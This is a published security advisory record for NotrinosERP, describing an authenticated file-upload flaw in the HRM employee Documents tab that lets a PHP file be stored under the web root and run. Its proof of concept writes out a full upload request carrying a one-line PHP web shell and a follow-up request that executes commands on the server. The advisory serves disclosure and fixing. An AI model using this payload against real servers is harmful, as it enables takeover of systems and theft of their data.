{"id":"CVE-2026-76913","aliases":["CVE-2026-76913","GHSA-qv4m-m73m-8hj7"],"related":[],"kind":"vulnerability","state":"published","title":"NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)","summary":"NotrinosERP is an open-source web-based enterprise resource planning system written in PHP and MySQL. From 1.0.0 until 1.1.0, the employee document handler in hrm/manage/employees.php allows an authenticated user with SA_EMPLOYEE permission to submit doc_file through tab_documents() and stores the raw client filename, including an executable extension, under company/0/documents/employees/ without extension, MIME, or content validation. Uploading a PHP file places executable content beneath the web root, where requesting the stored file results in server-side code execution. This issue is fixed in version 1.1.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"NotrinosERP is an open-source web-based enterprise resource planning system written in PHP and MySQL. From 1.0.0 until 1.1.0, the employee document handler in hrm/manage/employees.php allows an authenticated user with SA_EMPLOYEE permission to submit doc_file through tab_documents() and stores the raw client filename, including an executable extension, under company/0/documents/employees/ without extension, MIME, or content validation. Uploading a PHP file places executable content beneath the web root, where requesting the stored file results in server-side code execution. This issue is fixed in version 1.1.0.","source":"cvelist"},{"lang":"en","text":"#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a\nfile with an arbitrary extension through the employee **Documents** tab. The handler writes the\nraw client-supplied filename — extension intact — into a web-served directory with no extension,\nMIME, or content validation, so a `.php` file is stored under the web root and executes as code,\nyielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the\nuploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().'/documents/employees';\nif (!file_exists($upload_dir))\n    mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];\nif (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this\npath. Contrast this with the profile-photo (`pic`) upload in the *same file*, which validates image\ntype/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a\nrandom extension-less name (`uniqid()`) with a comment warning that client filenames must never be\ntrusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n  `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n  only — it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n  (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),\n  handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP\nbuilds that do not basename `['name']`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**.\nPrerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`);\na valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by\n`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1\nHost: <your-local-instance>\nCookie: <authenticated session>\nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n<value of the hidden _token field from the GET response>\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n<a valid document type id>\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n<?php system($_GET['c']); ?>\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab's \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the\nhandler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php`\n(attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web\nserver rooted at the app directory executed the payload:\n\n```\n$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'\nuid=501(...) gid=20(staff) ...\n$ curl '.../<same>.php?c=uname%20-sm;whoami'\nDarwin arm64\n<user>\n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has\nno real multipart temp file — the client-filename handling and the absence of any validation are\nidentical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path,\nand a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root\n`.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally\nrequires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable\n`SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to\nadministrators, treat privileges-required as High (CVSS ≈ 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n  extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name\n  only as a DB label.\n- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n  branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n  `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n  `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### References / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`,\n  `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **&lt;Kasper Hong / Kasper Builds&gt;**.","format":"markdown","source":"ghsa"}],"published":"2026-07-10T19:34:03.000Z","modified":"2026-11-23T22:23:24.990Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-22","CWE-434"],"affected":[{"ranges":[{"version":">= 1.0.0, < 1.1.0","status":"affected"}],"vendor":"notrinos","product":"NotrinosERP","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.1.0"}],"ecosystem":"Packagist","package":"notrinos/notrinos-erp","purl":"pkg:composer/notrinos/notrinos-erp","source":"ghsa"}],"references":[{"url":"https://github.com/notrinos/NotrinosERP/security/advisories/GHSA-qv4m-m73m-8hj7","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/notrinos/NotrinosERP/commit/71cac7cd199e40cff7f2b18551620133e29f8967","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/notrinos/NotrinosERP/commit/99ae49fe1a880ed3144a6ea4b917d0ca4260bfd8","tags":["x-refsource-misc"],"sources":["cvelist","nvd"]},{"url":"https://github.com/notrinos/NotrinosERP/releases/tag/1.1.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/notrinos/NotrinosERP","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-11-23T21:54:48.092Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-76913","url":"https://www.cve.org/CVERecord?id=CVE-2026-76913","licence":"CVE Terms of Use","modified":"2026-11-23T21:55:11.574Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qv4m-m73m-8hj7","url":"https://github.com/advisories/GHSA-qv4m-m73m-8hj7","licence":"CC-BY-4.0","modified":"2026-10-27T15:15:07.978Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-76913","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76913","licence":"Public domain","modified":"2026-11-23T22:23:24.990Z"}],"updatedAt":"2026-11-25T22:59:51.917Z","epss":{"score":0.00674,"percentile":0.53426,"date":"2026-12-01T12:00:22.000Z"}}